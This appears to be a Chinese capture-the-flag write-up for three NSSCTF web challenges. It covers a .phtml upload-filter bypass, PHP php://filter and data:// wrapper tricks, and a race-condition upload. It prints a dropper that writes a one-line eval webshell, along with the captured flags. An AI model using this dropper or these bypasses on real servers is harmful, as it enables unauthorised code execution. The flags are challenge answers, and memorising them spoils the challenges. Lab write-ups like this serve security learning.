题目来源:NSSCTF平台

[TOC]

[SWPUCTF 2021 新生赛]easyupload2.0

考点:文件上传绕过

image-20250315181309418

进行文件上传测试,首先上传jpg文件,然后抓包改成php文件,结果提示php文件不能上传。

上传htaccess文件也不行,于是改成后缀为phtml。

phtml也会被当成php解析。

发现上传成功,用蚁剑连接,找到flag.

image-20250315181643259

NSSCTF{76333d4d-efe1-4a18-acf5-09bd35c8ca3b}

[SWPUCTF 2021 新生赛]PseudoProtocols

考点:PHP伪协议,文件包含

image-20250315191122515

先扫一下目录,发现什么都没有,然后看到需要传参,又要读取hint.php,使用filter伪协议

1
php://filter/read=convert.base64-encode/resource=/var/www/html/hint.php

得到一串base64,解码

1
2
3
4
5
PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=

<?php
//go to /test2222222222222.php
?>

直接访问/test2222222222222.php

image-20250315191348678

直接使用data协议绕过file_get_contents函数

1
/?a=data://text/plain;base64,SSB3YW50IGZsYWc=

image-20250315191105190

NSSCTF{74d9bfc7-cdff-4a86-a6c0-f76568061d63}

[FSCTF 2023]加速加速

考点:条件竞争

先把后缀改成.jpg拿到对方保存文件的路径,为当前路径下的upload目录里。

1698321877579看见标签是条件竞争,那就按照条件竞争的方法去做。

先创建一个jz-cmd.php文件,运行创建cmd.php文件并写入一句话木马的命令。

1
<?php $f=fopen("cmd.php","w"); fputs($f,'<?php @eval($_POST[cmd]);?>');?>

先抓取上传文件的数据包,再抓取访问upload文件夹里的jz-cmd.php这两个数据包;虽然上传jz-cmd.php是不被允许的,但其实这个文件在服务器上有存在过,只是很快就被删除了。所以我们用BP疯狂发包访问upload文件夹下的jz-cmd.php文件是道理的。而只要此jz-cmd.php被访问成功,就会在upload文件夹里创建cmd.php这个后门文件。

具体操作就是抓取上传和访问的数据包,然后将他们都放入intruder中,设置如下:

1698322910515

然后就先攻击发送的数据包,再攻击读取(读取cmd.php)的数据包。读取的包出现200,且浏览器能正常访问,说明一句话木马就写入进去了,用蚁剑连接找到flag。

image-20250315202512251

FSCTF{p@ti0ns_15_key_1n_1ife}